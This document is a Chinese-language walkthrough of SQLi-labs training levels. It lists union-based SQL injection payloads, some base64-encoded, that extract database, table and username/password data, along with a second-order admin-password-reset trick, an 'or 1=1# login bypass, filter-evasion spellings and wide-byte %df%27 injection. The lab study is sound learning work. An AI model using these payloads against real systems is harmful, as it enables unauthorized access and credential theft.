' union select 1,1,database() # JyB1bmlvbiBzZWxlY3QgMSwxLGRhdGFiYXNlKCkgIw==
根据报错,源码中是括号中的单引号,故语句应改为 爆库 ') union select 1,1,database() # JykgdW5pb24gc2VsZWN0IDEsMSxkYXRhYmFzZSgpICM= 放入burp中, 爆表 ') union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='security' # JykgdW5pb24gc2VsZWN0IDEsMSxncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknICM=
爆列 ') union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users' # JykgdW5pb24gc2VsZWN0IDEsMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnICM=
爆值 ') union select 1,1,group_concat(username,password) from users# JykgdW5pb24gc2VsZWN0IDEsMSxncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMj
//filter the comments out so as to comments should not work $reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id); //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); @$row = mysql_fetch_array($result);
根据报错提示,发现注入参数是在一对单引号中。 注入语句: id=0' union select 1,1,database() # 不显示。 找闭合点: ?id=1’ union select ‘1 ?id=1’ union select 1 , ‘1 ?id=1’ union select 1 , 1 ,’1 发现前来个都会报错,而最后一个不报错,说明当前查询表的列数是三列。 爆库 ?id=0' union select 1,database(),'1 爆表 ?id=0'%20 union%20 select%20 1, (select group_concat(table_name) from information_schema.tables where table_schema='security'),'1 爆列 ?id=0'%20 union%20 select%20 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),'1 爆值 ?id=0'%20 union%20 select%20 1, (select group_concat(username,password) from users),'1
less-24
利用带有管理员账号的注册用户名,在修改密码的时候达到修改管理员账号密码的效果即可 注册用户名:admin’ or ‘1’=’1 密码为 admin 注册成功后,登录进去修改密码,将密码改为 123 更改后即可发现,admin用户的密码也被改成了123, update tables set password=’123’ where username=’admin’ or ‘1’=’1’
less-25
过滤了or和and 故这里的and 用&&,anandd代替 or用||,oorr代替 注入id=1’,报错,根据报错提示发现注入参数被一对单引号包裹 测试: ?id=0’ union select 1,1,’1 测试成功。 爆库: ?id=0' union select 1,database(),'3 爆表: ?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
爆列: ?id=0' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),'3 爆值: ?id=0' union select 1,(select group_concat(username,password) from users,'3
>本关是 post 型的注入漏洞,同样的也是将post 过来的内容进行了 ‘\’ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而 get 型的方式我们是以 url 形式提交的,因此数据会通过URLencode,如何将方法用在 post 型的注入当中,我们此处介绍一个新的方法。 >将 utf-8 转换为 utf-16 或 utf-32,例如将 ’ 转为 utf-16 为 %EF%BF%BD% 。我们就可以利用这个方式进行尝试。 >POST型 这里使用万能账号
```sql uname:'or 1=1# password: 任意
less-35
输入id=1’,报错 根据报错发现没用单引号,id 没有被 ’ 符号包括起来,那我们就没有必要去考虑check_addslashes() 函数的意义了 爆库: ?id=0 union select 1,1,database() --+ 爆表: ?id=0 union select 1,1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+ 爆值: ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 #
less-36
爆库: ?id=0%df%27%20union%20select%201,1,database()--+ 爆表: ?id=0%df%27%20union%20select%201,group_concat(table_name),1%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆值: ?id=0%df' union select 1,group_concat(username),group_concat(password) from security.users where 1 #
less-37
POST型 这里使用万能账号
1 2
uname:'or 1=1# password: 任意
less-38
爆库: ?id=0' union select 1,1,database()--+ 爆表: ?id=0' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='security' --+
less-39
爆库: ?id=0 union select 1,1,database()--+ 同38只不过变为?id=0去掉单引号
less40
注入1,1”都对,但是1‘不对,也不回显,故根据经验我猜测是’)。 测试: ?id=0') union select 1,1,1--+ 爆库: ?id=0') union select 1,1,1--+ 同上只是id=0变为id=0’)加上单引号和括号。